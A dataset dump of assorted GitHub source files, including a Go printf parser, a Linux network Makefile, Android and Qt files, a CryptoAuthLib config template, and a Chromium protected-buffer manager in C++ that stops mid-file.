text stringlengths 2 99k | meta dict |
|---|---|
// Package printf implements a parser for fmt.Printf-style format
// strings.
//
// It parses verbs according to the following syntax:
// Numeric -> '0'-'9'
// Letter -> 'a'-'z' | 'A'-'Z'
// Index -> '[' Numeric+ ']'
// Star -> '*'
// Star -> Index '*'
//
// Precision -> Numeric+ | Star
// Width -> Numeric+ | Star
//
// WidthAndPrecision -> Width '.' Precision
// WidthAndPrecision -> Width '.'
// WidthAndPrecision -> Width
// WidthAndPrecision -> '.' Precision
// WidthAndPrecision -> '.'
//
// Flag -> '+' | '-' | '#' | ' ' | '0'
// Verb -> Letter | '%'
//
// Input -> '%' [ Flag+ ] [ WidthAndPrecision ] [ Index ] Verb
package printf
import (
"errors"
"regexp"
"strconv"
"strings"
)
// ErrInvalid is returned for invalid format strings or verbs.
var ErrInvalid = errors.New("invalid format string")
type Verb struct {
Letter rune
Flags string
Width Argument
Precision Argument
// Which value in the argument list the verb uses.
// -1 denotes the next argument,
// values > 0 denote explicit arguments.
// The value 0 denotes that no argument is consumed. This is the case for %%.
Value int
Raw string
}
// Argument is an implicit or explicit width or precision.
type Argument interface {
isArgument()
}
// The Default value, when no width or precision is provided.
type Default struct{}
// Zero is the implicit zero value.
// This value may only appear for precisions in format strings like %6.f
type Zero struct{}
// Star is a * value, which may either refer to the next argument (Index == -1) or an explicit argument.
type Star struct{ Index int }
// A Literal value, such as 6 in %6d.
type Literal int
func (Default) isArgument() {}
func (Zero) isArgument() {}
func (Star) isArgument() {}
func (Literal) isArgument() {}
// Parse parses f and returns a list of actions.
// An action may either be a literal string, or a Verb.
func Parse(f string) ([]interface{}, error) {
var out []interface{}
for len(f) > 0 {
if f[0] == '%' {
v, n, err := ParseVerb(f)
if err != nil {
return nil, err
}
f = f[n:]
out = append(out, v)
} else {
n := strings.IndexByte(f, '%')
if n > -1 {
out = append(out, f[:n])
f = f[n:]
} else {
out = append(out, f)
f = ""
}
}
}
return out, nil
}
func atoi(s string) int {
n, _ := strconv.Atoi(s)
return n
}
// ParseVerb parses the verb at the beginning of f.
// It returns the verb, how much of the input was consumed, and an error, if any.
func ParseVerb(f string) (Verb, int, error) {
if len(f) < 2 {
return Verb{}, 0, ErrInvalid
}
const (
flags = 1
width = 2
widthStar = 3
widthIndex = 5
dot = 6
prec = 7
precStar = 8
precIndex = 10
verbIndex = 11
verb = 12
)
m := re.FindStringSubmatch(f)
if m == nil {
return Verb{}, 0, ErrInvalid
}
v := Verb{
Letter: []rune(m[verb])[0],
Flags: m[flags],
Raw: m[0],
}
if m[width] != "" {
// Literal width
v.Width = Literal(atoi(m[width]))
} else if m[widthStar] != "" {
// Star width
if m[widthIndex] != "" {
v.Width = Star{atoi(m[widthIndex])}
} else {
v.Width = Star{-1}
}
} else {
// Default width
v.Width = Default{}
}
if m[dot] == "" {
// default precision
v.Precision = Default{}
} else {
if m[prec] != "" {
// Literal precision
v.Precision = Literal(atoi(m[prec]))
} else if m[precStar] != "" {
// Star precision
if m[precIndex] != "" {
v.Precision = Star{atoi(m[precIndex])}
} else {
v.Precision = Star{-1}
}
} else {
// Zero precision
v.Precision = Zero{}
}
}
if m[verb] == "%" {
v.Value = 0
} else if m[verbIndex] != "" {
v.Value = atoi(m[verbIndex])
} else {
v.Value = -1
}
return v, len(m[0]), nil
}
const (
flags = `([+#0 -]*)`
verb = `([a-zA-Z%])`
index = `(?:\[([0-9]+)\])`
star = `((` + index + `)?\*)`
width1 = `([0-9]+)`
width2 = star
width = `(?:` + width1 + `|` + width2 + `)`
precision = width
widthAndPrecision = `(?:(?:` + width + `)?(?:(\.)(?:` + precision + `)?)?)`
)
var re = regexp.MustCompile(`^%` + flags + widthAndPrecision + `?` + index + `?` + verb)
| {
"pile_set_name": "Github"
} |
ALTER TABLE db_version CHANGE COLUMN required_z2187_s1820_12269_11_mangos_gossip_menu_option required_z2192_s1825_12278_01_mangos_creature_template bit;
ALTER TABLE creature_template DROP COLUMN spell1, DROP COLUMN spell2, DROP COLUMN spell3, DROP COLUMN spell4;
| {
"pile_set_name": "Github"
} |
#
# Makefile for the Linux network (ethercard) device drivers.
#
obj-$(CONFIG_E1000) += e1000/
obj-$(CONFIG_IBM_EMAC) += ibm_emac/
obj-$(CONFIG_IXGB) += ixgb/
obj-$(CONFIG_CHELSIO_T1) += chelsio/
obj-$(CONFIG_CHELSIO_T3) += cxgb3/
obj-$(CONFIG_EHEA) += ehea/
obj-$(CONFIG_BONDING) += bonding/
obj-$(CONFIG_ATL1) += atl1/
obj-$(CONFIG_GIANFAR) += gianfar_driver.o
gianfar_driver-objs := gianfar.o \
gianfar_ethtool.o \
gianfar_mii.o \
gianfar_sysfs.o
obj-$(CONFIG_UCC_GETH) += ucc_geth_driver.o
ucc_geth_driver-objs := ucc_geth.o ucc_geth_mii.o
#
# link order important here
#
obj-$(CONFIG_PLIP) += plip.o
obj-$(CONFIG_ROADRUNNER) += rrunner.o
obj-$(CONFIG_HAPPYMEAL) += sunhme.o
obj-$(CONFIG_SUNLANCE) += sunlance.o
obj-$(CONFIG_SUNQE) += sunqe.o
obj-$(CONFIG_SUNBMAC) += sunbmac.o
obj-$(CONFIG_MYRI_SBUS) += myri_sbus.o
obj-$(CONFIG_SUNGEM) += sungem.o sungem_phy.o
obj-$(CONFIG_CASSINI) += cassini.o
obj-$(CONFIG_MACE) += mace.o
obj-$(CONFIG_BMAC) += bmac.o
obj-$(CONFIG_DGRS) += dgrs.o
obj-$(CONFIG_VORTEX) += 3c59x.o
obj-$(CONFIG_TYPHOON) += typhoon.o
obj-$(CONFIG_NE2K_PCI) += ne2k-pci.o 8390.o
obj-$(CONFIG_PCNET32) += pcnet32.o
obj-$(CONFIG_EEPRO100) += eepro100.o
obj-$(CONFIG_E100) += e100.o
obj-$(CONFIG_TLAN) += tlan.o
obj-$(CONFIG_EPIC100) += epic100.o
obj-$(CONFIG_SIS190) += sis190.o
obj-$(CONFIG_SIS900) += sis900.o
obj-$(CONFIG_YELLOWFIN) += yellowfin.o
obj-$(CONFIG_ACENIC) += acenic.o
obj-$(CONFIG_ISERIES_VETH) += iseries_veth.o
obj-$(CONFIG_NATSEMI) += natsemi.o
obj-$(CONFIG_NS83820) += ns83820.o
obj-$(CONFIG_STNIC) += stnic.o 8390.o
obj-$(CONFIG_FEALNX) += fealnx.o
obj-$(CONFIG_TIGON3) += tg3.o
obj-$(CONFIG_BNX2) += bnx2.o
spidernet-y += spider_net.o spider_net_ethtool.o
obj-$(CONFIG_SPIDER_NET) += spidernet.o sungem_phy.o
obj-$(CONFIG_TC35815) += tc35815.o
obj-$(CONFIG_SKGE) += skge.o
obj-$(CONFIG_SKY2) += sky2.o
obj-$(CONFIG_SK98LIN) += sk98lin/
obj-$(CONFIG_SKFP) += skfp/
obj-$(CONFIG_VIA_RHINE) += via-rhine.o
obj-$(CONFIG_VIA_VELOCITY) += via-velocity.o
obj-$(CONFIG_ADAPTEC_STARFIRE) += starfire.o
obj-$(CONFIG_RIONET) += rionet.o
#
# end link order section
#
obj-$(CONFIG_MII) += mii.o
obj-$(CONFIG_PHYLIB) += phy/
obj-$(CONFIG_SUNDANCE) += sundance.o
obj-$(CONFIG_HAMACHI) += hamachi.o
obj-$(CONFIG_NET) += Space.o loopback.o
obj-$(CONFIG_SEEQ8005) += seeq8005.o
obj-$(CONFIG_NET_SB1000) += sb1000.o
obj-$(CONFIG_MAC8390) += mac8390.o
obj-$(CONFIG_APNE) += apne.o 8390.o
obj-$(CONFIG_PCMCIA_PCNET) += 8390.o
obj-$(CONFIG_SHAPER) += shaper.o
obj-$(CONFIG_HP100) += hp100.o
obj-$(CONFIG_SMC9194) += smc9194.o
obj-$(CONFIG_FEC) += fec.o
obj-$(CONFIG_68360_ENET) += 68360enet.o
obj-$(CONFIG_WD80x3) += wd.o 8390.o
obj-$(CONFIG_EL2) += 3c503.o 8390.o
obj-$(CONFIG_NE2000) += ne.o 8390.o
obj-$(CONFIG_NE2_MCA) += ne2.o 8390.o
obj-$(CONFIG_HPLAN) += hp.o 8390.o
obj-$(CONFIG_HPLAN_PLUS) += hp-plus.o 8390.o
obj-$(CONFIG_ULTRA) += smc-ultra.o 8390.o
obj-$(CONFIG_ULTRAMCA) += smc-mca.o 8390.o
obj-$(CONFIG_ULTRA32) += smc-ultra32.o 8390.o
obj-$(CONFIG_E2100) += e2100.o 8390.o
obj-$(CONFIG_ES3210) += es3210.o 8390.o
obj-$(CONFIG_LNE390) += lne390.o 8390.o
obj-$(CONFIG_NE3210) += ne3210.o 8390.o
obj-$(CONFIG_NET_SB1250_MAC) += sb1250-mac.o
obj-$(CONFIG_B44) += b44.o
obj-$(CONFIG_FORCEDETH) += forcedeth.o
obj-$(CONFIG_NE_H8300) += ne-h8300.o
obj-$(CONFIG_TSI108_ETH) += tsi108_eth.o
obj-$(CONFIG_MV643XX_ETH) += mv643xx_eth.o
obj-$(CONFIG_QLA3XXX) += qla3xxx.o
obj-$(CONFIG_GALILEO_64240_ETH) += gt64240eth.o
obj-$(CONFIG_BIG_SUR_FE) += big_sur_ge.o
obj-$(CONFIG_TITAN_GE) += titan_mdio.o titan_ge.o
obj-$(CONFIG_PPP) += ppp_generic.o
obj-$(CONFIG_PPP_ASYNC) += ppp_async.o
obj-$(CONFIG_PPP_SYNC_TTY) += ppp_synctty.o
obj-$(CONFIG_PPP_DEFLATE) += ppp_deflate.o
obj-$(CONFIG_PPP_BSDCOMP) += bsd_comp.o
obj-$(CONFIG_PPP_MPPE_MPPC) += ppp_mppe_mppc.o
obj-$(CONFIG_PPPOE) += pppox.o pppoe.o
obj-$(CONFIG_PPPOL2TP) += pppox.o pppol2tp.o
obj-$(CONFIG_PPTP) += pppox.o pptp.o
obj-$(CONFIG_SLIP) += slip.o
obj-$(CONFIG_SLHC) += slhc.o
obj-$(CONFIG_DUMMY) += dummy.o
obj-$(CONFIG_IMQ) += imq.o
obj-$(CONFIG_IFB) += ifb.o
obj-$(CONFIG_DE600) += de600.o
obj-$(CONFIG_DE620) += de620.o
obj-$(CONFIG_LANCE) += lance.o
obj-$(CONFIG_SUN3_82586) += sun3_82586.o
obj-$(CONFIG_SUN3LANCE) += sun3lance.o
obj-$(CONFIG_DEFXX) += defxx.o
obj-$(CONFIG_SGISEEQ) += sgiseeq.o
obj-$(CONFIG_SGI_O2MACE_ETH) += meth.o
obj-$(CONFIG_AT1700) += at1700.o
obj-$(CONFIG_EL1) += 3c501.o
obj-$(CONFIG_EL16) += 3c507.o
obj-$(CONFIG_ELMC) += 3c523.o
obj-$(CONFIG_IBMLANA) += ibmlana.o
obj-$(CONFIG_ELMC_II) += 3c527.o
obj-$(CONFIG_EL3) += 3c509.o
obj-$(CONFIG_3C515) += 3c515.o
obj-$(CONFIG_EEXPRESS) += eexpress.o
obj-$(CONFIG_EEXPRESS_PRO) += eepro.o
obj-$(CONFIG_8139CP) += 8139cp.o
obj-$(CONFIG_8139TOO) += 8139too.o
obj-$(CONFIG_ZNET) += znet.o
obj-$(CONFIG_LAN_SAA9730) += saa9730.o
obj-$(CONFIG_DEPCA) += depca.o
obj-$(CONFIG_EWRK3) += ewrk3.o
obj-$(CONFIG_ATP) += atp.o
obj-$(CONFIG_NI5010) += ni5010.o
obj-$(CONFIG_NI52) += ni52.o
obj-$(CONFIG_NI65) += ni65.o
obj-$(CONFIG_ELPLUS) += 3c505.o
obj-$(CONFIG_AC3200) += ac3200.o 8390.o
obj-$(CONFIG_APRICOT) += 82596.o
obj-$(CONFIG_LASI_82596) += lasi_82596.o
obj-$(CONFIG_MVME16x_NET) += 82596.o
obj-$(CONFIG_BVME6000_NET) += 82596.o
obj-$(CONFIG_SC92031) += sc92031.o
# This is also a 82596 and should probably be merged
obj-$(CONFIG_LP486E) += lp486e.o
obj-$(CONFIG_ETH16I) += eth16i.o
obj-$(CONFIG_ZORRO8390) += zorro8390.o
obj-$(CONFIG_HPLANCE) += hplance.o 7990.o
obj-$(CONFIG_MVME147_NET) += mvme147.o 7990.o
obj-$(CONFIG_EQUALIZER) += eql.o
obj-$(CONFIG_MIPS_JAZZ_SONIC) += jazzsonic.o
obj-$(CONFIG_MIPS_AU1X00_ENET) += au1000_eth.o
obj-$(CONFIG_MIPS_SIM_NET) += mipsnet.o
obj-$(CONFIG_SGI_IOC3_ETH) += ioc3-eth.o
obj-$(CONFIG_DECLANCE) += declance.o
obj-$(CONFIG_ATARILANCE) += atarilance.o
obj-$(CONFIG_ATARI_BIONET) += atari_bionet.o
obj-$(CONFIG_ATARI_PAMSNET) += atari_pamsnet.o
obj-$(CONFIG_A2065) += a2065.o
obj-$(CONFIG_HYDRA) += hydra.o
obj-$(CONFIG_ARIADNE) += ariadne.o
obj-$(CONFIG_CS89x0) += cs89x0.o
obj-$(CONFIG_MACSONIC) += macsonic.o
obj-$(CONFIG_MACMACE) += macmace.o
obj-$(CONFIG_MAC89x0) += mac89x0.o
obj-$(CONFIG_TUN) += tun.o
obj-$(CONFIG_NET_NETX) += netx-eth.o
obj-$(CONFIG_DL2K) += dl2k.o
obj-$(CONFIG_R8169) += r8169.o
obj-$(CONFIG_AMD8111_ETH) += amd8111e.o
obj-$(CONFIG_IBMVETH) += ibmveth.o
obj-$(CONFIG_S2IO) += s2io.o
obj-$(CONFIG_MYRI10GE) += myri10ge/
obj-$(CONFIG_SMC91X) += smc91x.o
obj-$(CONFIG_SMC911X) += smc911x.o
obj-$(CONFIG_DM9000) += dm9000.o
obj-$(CONFIG_FEC_8XX) += fec_8xx/
obj-$(CONFIG_PASEMI_MAC) += pasemi_mac.o
obj-$(CONFIG_MLX4_CORE) += mlx4/
obj-$(CONFIG_MACB) += macb.o
obj-$(CONFIG_ARM) += arm/
obj-$(CONFIG_DEV_APPLETALK) += appletalk/
obj-$(CONFIG_TR) += tokenring/
obj-$(CONFIG_WAN) += wan/
obj-$(CONFIG_ARCNET) += arcnet/
obj-$(CONFIG_NET_PCMCIA) += pcmcia/
obj-$(CONFIG_USB_CATC) += usb/
obj-$(CONFIG_USB_KAWETH) += usb/
obj-$(CONFIG_USB_PEGASUS) += usb/
obj-$(CONFIG_USB_RTL8150) += usb/
obj-$(CONFIG_USB_USBNET) += usb/
obj-$(CONFIG_USB_ZD1201) += usb/
obj-$(CONFIG_USB_IPHETH) += usb/
#
# Broadcom HND devices
#
obj-$(CONFIG_HND) += hnd/
obj-$(CONFIG_BCM_CTF) += ctf/
obj-$(CONFIG_DPSTA) += dpsta/
obj-$(CONFIG_ET) += et/
obj-$(CONFIG_BCM57XX) += bcm57xx/
obj-$(CONFIG_WL) += wl/
obj-$(CONFIG_EMF) += emf/ igs/
obj-$(CONFIG_PROXYARP) += proxyarp/
obj-y += wireless/
obj-$(CONFIG_NET_TULIP) += tulip/
obj-$(CONFIG_HAMRADIO) += hamradio/
obj-$(CONFIG_IRDA) += irda/
obj-$(CONFIG_ETRAX_ETHERNET) += cris/
obj-$(CONFIG_ENP2611_MSF_NET) += ixp2000/
obj-$(CONFIG_NETCONSOLE) += netconsole.o
obj-$(CONFIG_FS_ENET) += fs_enet/
obj-$(CONFIG_NETXEN_NIC) += netxen/
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>playlistItemText</class>
<widget class="QWidget" name="playlistItemText">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>192</width>
<height>175</height>
</rect>
</property>
<property name="windowTitle">
<string>Form</string>
</property>
<layout class="QVBoxLayout" name="wrapperLayout">
<item>
<layout class="QVBoxLayout" name="topVBoxLayout">
<item>
<layout class="QGridLayout" name="gridLayout">
<item row="1" column="1">
<widget class="QPushButton" name="selectColorButton">
<property name="toolTip">
<string>Select a color for the text</string>
</property>
<property name="text">
<string>Select Color</string>
</property>
</widget>
</item>
<item row="0" column="1">
<widget class="QPushButton" name="selectFontButton">
<property name="toolTip">
<string>Select a Font for the text</string>
</property>
<property name="text">
<string>Select Font</string>
</property>
</widget>
</item>
<item row="1" column="0">
<widget class="QLabel" name="label_3">
<property name="toolTip">
<string>Select a color for the text</string>
</property>
<property name="text">
<string>Color</string>
</property>
</widget>
</item>
<item row="0" column="0">
<widget class="QLabel" name="label_2">
<property name="toolTip">
<string>Select a Font for the text</string>
</property>
<property name="text">
<string>Font</string>
</property>
</widget>
</item>
</layout>
</item>
<item>
<widget class="QPlainTextEdit" name="textEdit">
<property name="toolTip">
<string><html><head/><body><p>Enter a text to show.</p><p><span style=" font-weight:600;">Hint:</span> The text item understands HTML!</p></body></html></string>
</property>
<property name="plainText">
<string>Text</string>
</property>
</widget>
</item>
</layout>
</item>
</layout>
</widget>
<tabstops>
<tabstop>selectFontButton</tabstop>
<tabstop>selectColorButton</tabstop>
<tabstop>textEdit</tabstop>
</tabstops>
<resources/>
<connections/>
</ui>
| {
"pile_set_name": "Github"
} |
package com.alley.openssl;
import android.content.Context;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.*;
/**
* Instrumentation test, which will execute on an Android device.
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {
@Test
public void useAppContext() throws Exception {
// Context of the app under test.
Context appContext = InstrumentationRegistry.getTargetContext();
assertEquals("com.alley.openssl", appContext.getPackageName());
}
}
| {
"pile_set_name": "Github"
} |
/* Auto-generated config file atca_config.h */
#ifndef ATCA_CONFIG_H
#define ATCA_CONFIG_H
/* MPLAB Harmony Common Include */
#include "definitions.h"
<#assign pliblist = CAL_PLIB_LIST?word_list>
<#if pliblist?size != 0>
<#list pliblist as plib_id>
<#assign plib_info = plib_id?split("_")>
<#if plib_info?size == 1 || plib_info[1] == "i2c">
<#assign atca_hal_i2c = true>
<#elseif plib_info[1] == "spi">
<#assign atca_hal_spi = true>
</#if>
</#list>
</#if>
<#if atca_hal_i2c??>
#ifndef ATCA_HAL_I2C
#define ATCA_HAL_I2C
#endif
</#if>
<#if atca_hal_spi??>
#ifndef ATCA_HAL_SPI
#define ATCA_HAL_SPI
#endif
</#if>
<#assign devices = CAL_DEVICE_LIST?word_list>
<#if devices?size != 0>
/** Include Device Support Options */
<#list devices as device_type>
#define ATCA_${device_type}_SUPPORT
</#list>
</#if>
<#if !CAL_ENABLE_POLLING>
/** Define if cryptoauthlib is to use the maximum execution time method */
#ifndef ATCA_NO_POLL
#define ATCA_NO_POLL
#endif
</#if>
/* Polling Configuration Options */
#ifndef ATCA_POLLING_INIT_TIME_MSEC
#define ATCA_POLLING_INIT_TIME_MSEC ${CAL_POLL_INIT_TIME}
#endif
#ifndef ATCA_POLLING_FREQUENCY_TIME_MSEC
#define ATCA_POLLING_FREQUENCY_TIME_MSEC ${CAL_POLL_PERIOD}
#endif
#ifndef ATCA_POLLING_MAX_TIME_MSEC
#define ATCA_POLLING_MAX_TIME_MSEC ${CAL_POLL_TIMEOUT}
#endif
<#if !CAL_ENABLE_HEAP>
/** Define if the library is not to use malloc/free */
#ifndef ATCA_NO_HEAP
#define ATCA_NO_HEAP
#endif
</#if>
<#if CAL_ENABLE_RTOS>
/** Use RTOS timers (i.e. delays that yield when the scheduler is running) */
#ifndef ATCA_USE_RTOS_TIMER
#define ATCA_USE_RTOS_TIMER (1)
#endif
#define atca_delay_ms hal_rtos_delay_ms
#define atca_delay_us hal_delay_us
<#else>
#define atca_delay_ms hal_delay_ms
#define atca_delay_us hal_delay_us
</#if>
/* \brief How long to wait after an initial wake failure for the POST to
* complete.
* If Power-on self test (POST) is enabled, the self test will run on waking
* from sleep or during power-on, which delays the wake reply.
*/
#ifndef ATCA_POST_DELAY_MSEC
#define ATCA_POST_DELAY_MSEC 25
#endif
<#if CAL_ENABLE_DEBUG_PRINT>
#ifndef ATCA_PRINTF
#define ATCA_PRINTF
#endif
</#if>
/* Define generic interfaces to the processor libraries */
<#assign pliblist = CAL_PLIB_LIST?word_list>
<#if pliblist?size != 0>
<#assign size_var = "size_t">
<#if atca_hal_i2c??>
<#if pliblist[0]?contains("sercom")>
#define PLIB_I2C_ERROR SERCOM_I2C_ERROR
#define PLIB_I2C_ERROR_NONE SERCOM_I2C_ERROR_NONE
#define PLIB_I2C_TRANSFER_SETUP SERCOM_I2C_TRANSFER_SETUP
<#assign size_var = "uint32_t">
<#elseif pliblist[0]?contains("flexcom")>
#define PLIB_I2C_ERROR FLEXCOM_TWI_ERROR
#define PLIB_I2C_ERROR_NONE FLEXCOM_TWI_ERROR_NONE
#define PLIB_I2C_TRANSFER_SETUP FLEXCOM_TWI_TRANSFER_SETUP
<#elseif pliblist[0]?contains("twihs")>
#define PLIB_I2C_ERROR TWIHS_ERROR
#define PLIB_I2C_ERROR_NONE TWIHS_ERROR_NONE
#define PLIB_I2C_TRANSFER_SETUP TWIHS_TRANSFER_SETUP
<#elseif pliblist[0]?contains("i2c")>
#define PLIB_I2C_ERROR I2C_ERROR
#define PLIB_I2C_ERROR_NONE I2C_ERROR_NONE
#define PLIB_I2C_TRANSFER_SETUP I2C_TRANSFER_SETUP
</#if>
typedef bool (* atca_i2c_plib_read)( uint16_t, uint8_t *, ${size_var} );
typedef bool (* atca_i2c_plib_write)( uint16_t, uint8_t *, ${size_var} );
typedef bool (* atca_i2c_plib_is_busy)( void );
typedef PLIB_I2C_ERROR (* atca_i2c_error_get)( void );
typedef bool (* atca_i2c_plib_transfer_setup)(PLIB_I2C_TRANSFER_SETUP* setup, uint32_t srcClkFreq);
typedef struct atca_plib_api
{
atca_i2c_plib_read read;
atca_i2c_plib_write write;
atca_i2c_plib_is_busy is_busy;
atca_i2c_error_get error_get;
atca_i2c_plib_transfer_setup transfer_setup;
} atca_plib_i2c_api_t;
</#if>
<#if atca_hal_spi??>
typedef bool (* atca_spi_plib_read)( void * , size_t );
typedef bool (* atca_spi_plib_write)( void *, size_t );
typedef bool (* atca_spi_plib_is_busy)( void );
typedef void (* atca_spi_plib_select)(uint32_t pin, bool value);
typedef struct atca_plib_spi_api
{
atca_spi_plib_read read;
atca_spi_plib_write write;
atca_spi_plib_is_busy is_busy;
atca_spi_plib_select select;
} atca_plib_spi_api_t;
</#if>
<#list pliblist as plib_id>
<#assign plib_info = plib_id?split("_")>
extern atca_plib_${plib_info[1]!"i2c"}_api_t ${plib_info[0]}_plib_${plib_info[1]!"i2c"}_api;
</#list>
</#if>
<#if cryptoauthlib_tng??>
/** Define certificate templates to be supported. */
<#if cryptoauthlib_tng.CAL_TNGTLS_SUPPORT>
#define ATCA_TNGTLS_SUPPORT
</#if>
<#if cryptoauthlib_tng.CAL_TNGLORA_SUPPORT>
#define ATCA_TNGLORA_SUPPORT
</#if>
<#if cryptoauthlib_tng.CAL_TFLEX_SUPPORT>
#define ATCA_TFLEX_SUPPORT
</#if>
<#if cryptoauthlib_tng.CAL_TNG_LEGACY_SUPPORT>
#define ATCA_TNG_LEGACY_SUPPORT
</#if>
</#if>
<#if CAL_ENABLE_WOLFCRYPTO>
/** Define Software Crypto Library to Use - if none are defined use the
cryptoauthlib version where applicable */
#define ATCA_WOLFSSL
</#if>
#endif // ATCA_CONFIG_H
| {
"pile_set_name": "Github"
} |
#%Module
puts stderr "[module-info mode] [module-info name]"
| {
"pile_set_name": "Github"
} |
<%= p("blobstore.tls.cert.private_key") %>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tangpj.nostatistic">
<application android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:theme="@style/AppTheme" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round">
<activity android:name="com.tangpj.tasks.TasksActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
| {
"pile_set_name": "Github"
} |
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/arc/video_accelerator/protected_buffer_manager.h"
#include <utility>
#include "base/bind.h"
#include "base/bits.h"
#include "base/logging.h"
#include "base/memory/platform_shared_memory_region.h"
#include "base/memory/unsafe_shared_memory_region.h"
#include "base/posix/eintr_wrapper.h"
#include "base/system/sys_info.h"
#include "base/threading/thread_checker.h"
#include "components/arc/video_accelerator/protected_buffer_allocator.h"
#include "media/gpu/macros.h"
#include "mojo/public/cpp/system/buffer.h"
#include "mojo/public/cpp/system/platform_handle.h"
#include "ui/gfx/geometry/size.h"
#include "ui/ozone/public/ozone_platform.h"
#include "ui/ozone/public/surface_factory_ozone.h"
namespace arc {
namespace {
// Size of the pixmap to be used as the dummy handle for protected buffers.
constexpr gfx::Size kDummyBufferSize(16, 16);
// Maximum number of concurrent ProtectedBufferAllocatorImpl instances.
// Currently we have no way to know the resources of ProtectedBufferAllocator.
// Arbitrarily chosen a reasonable constant as the limit.
constexpr size_t kMaxConcurrentProtectedBufferAllocators = 32;
// Maximum number of concurrent allocated protected buffers in a single
// ProtectedBufferAllocator. This limitation, 64 is arbitrarily chosen.
constexpr size_t kMaxBuffersPerAllocator = 64;
} // namespace
class ProtectedBufferManager::ProtectedBuffer {
public:
virtual ~ProtectedBuffer() {}
// Downcasting methods to return duplicated handles to the underlying
// protected buffers for each buffer type, or empty/null handles if not
// applicable.
virtual base::subtle::PlatformSharedMemoryRegion
DuplicatePlatformSharedMemoryRegion() const {
return {};
}
virtual gfx::NativePixmapHandle DuplicateNativePixmapHandle() const {
return gfx::NativePixmapHandle();
}
// Downcasting method to return a scoped_refptr to the underlying
// NativePixmap, or null if not applicable.
virtual scoped_refptr<gfx::NativePixmap> GetNativePixmap() const {
return nullptr;
}
protected:
explicit ProtectedBuffer(scoped_refptr<gfx::NativePixmap> dummy_handle)
: dummy_handle_(std::move(dummy_handle)) {}
private:
scoped_refptr<gfx::NativePixmap> dummy_handle_;
DISALLOW_COPY_AND_ASSIGN(ProtectedBuffer);
};
class ProtectedBufferManager::ProtectedSharedMemory
: public ProtectedBufferManager::ProtectedBuffer {
public:
~ProtectedSharedMemory() override;
// Allocate a ProtectedSharedMemory buffer of |size| bytes.
static std::unique_ptr<ProtectedSharedMemory> Create(
scoped_refptr<gfx::NativePixmap> dummy_handle,
size_t size);
base::subtle::PlatformSharedMemoryRegion DuplicatePlatformSharedMemoryRegion()
const override {
return region_.Duplicate();
}
private:
explicit ProtectedSharedMemory(scoped_refptr<gfx::NativePixmap> dummy_handle);
base::subtle::PlatformSharedMemoryRegion region_;
};
ProtectedBufferManager::ProtectedSharedMemory::ProtectedSharedMemory(
scoped_refptr<gfx::NativePixmap> dummy_handle)
: ProtectedBuffer(std::move(dummy_handle)) {}
ProtectedBufferManager::ProtectedSharedMemory::~ProtectedSharedMemory() {}
// static
std::unique_ptr<ProtectedBufferManager::ProtectedSharedMemory>
ProtectedBufferManager::ProtectedSharedMemory::Create(
scoped_refptr<gfx::NativePixmap> dummy_handle,
size_t size) {
std::unique_ptr<ProtectedSharedMemory> protected_shmem(
new ProtectedSharedMemory(std::move(dummy_handle)));
size_t aligned_size =
base::bits::Align(size, base::SysInfo::VMAllocationGranularity());
auto shmem_region = base::UnsafeSharedMemoryRegion::Create(aligned_size);
if (!shmem_region.IsValid()) {
VLOGF(1) << "Failed to allocate shared memory";
return nullptr;
}
protected_shmem->region_ =
base::UnsafeSharedMemoryRegion::TakeHandleForSerialization(
std::move(shmem_region));
return protected_shmem;
}
class ProtectedBufferManager::ProtectedNativePixmap
: public ProtectedBufferManager::ProtectedBuffer {
public:
~ProtectedNativePixmap() override;
// Allocate a ProtectedNativePixmap of |format| and |size|.
static std::unique_ptr<ProtectedNativePixmap> Create(
scoped_refptr<gfx::NativePixmap> dummy_handle,
gfx::BufferFormat format,
const gfx::Size& size);
gfx::NativePixmapHandle DuplicateNativePixmapHandle() const override {
return native_pixmap_->ExportHandle();
}
scoped_refptr<gfx::NativePixmap> GetNativePixmap() const override {
return native_pixmap_;
}
private:
explicit ProtectedNativePixmap(scoped_refptr<gfx::NativePixmap> dummy_handle);
scoped_refptr<gfx::NativePixmap> native_pixmap_;
};
ProtectedBufferManager::ProtectedNativePixmap::ProtectedNativePixmap(
scoped_refptr<gfx::NativePixmap> dummy_handle)
: ProtectedBuffer(std::move(dummy_handle)) {}
ProtectedBufferManager::ProtectedNativePixmap::~ProtectedNativePixmap() {}
// static
std::unique_ptr<ProtectedBufferManager::ProtectedNativePixmap>
ProtectedBufferManager::ProtectedNativePixmap::Create(
scoped_refptr<gfx::NativePixmap> dummy_handle,
gfx::BufferFormat format,
const gfx::Size& size) {
std::unique_ptr<ProtectedNativePixmap> protected_pixmap(
new ProtectedNativePixmap(std::move(dummy_handle)));
ui::OzonePlatform* platform = ui::OzonePlatform::GetInstance();
ui::SurfaceFactoryOzone* factory = platform->GetSurfaceFactoryOzone();
protected_pixmap->native_pixmap_ = factory->CreateNativePixmap(
gfx::kNullAcceleratedWidget, VK_NULL_HANDLE, size, format,
gfx::BufferUsage::SCANOUT_VDA_WRITE);
if (!protected_pixmap->native_pixmap_) {
VLOGF(1) << "Failed allocating a native pixmap";
return nullptr;
}
return protected_pixmap;
}
// The ProtectedBufferAllocator implementation using ProtectedBufferManager.
// The functions just delegate the corresponding functions of
// ProtectedBufferManager.
// This destructor executes the callback to release the references of all non
// released protected buffers.
class ProtectedBufferManager::ProtectedBufferAllocatorImpl
: public ProtectedBufferAllocator {
public:
ProtectedBufferAllocatorImpl(
uint64_t allocator_id,
scoped_refptr<ProtectedBufferManager> protected_buffer_manager,
base::OnceClosure release_all_protected_buffers_cb);
~ProtectedBufferAllocatorImpl() override;
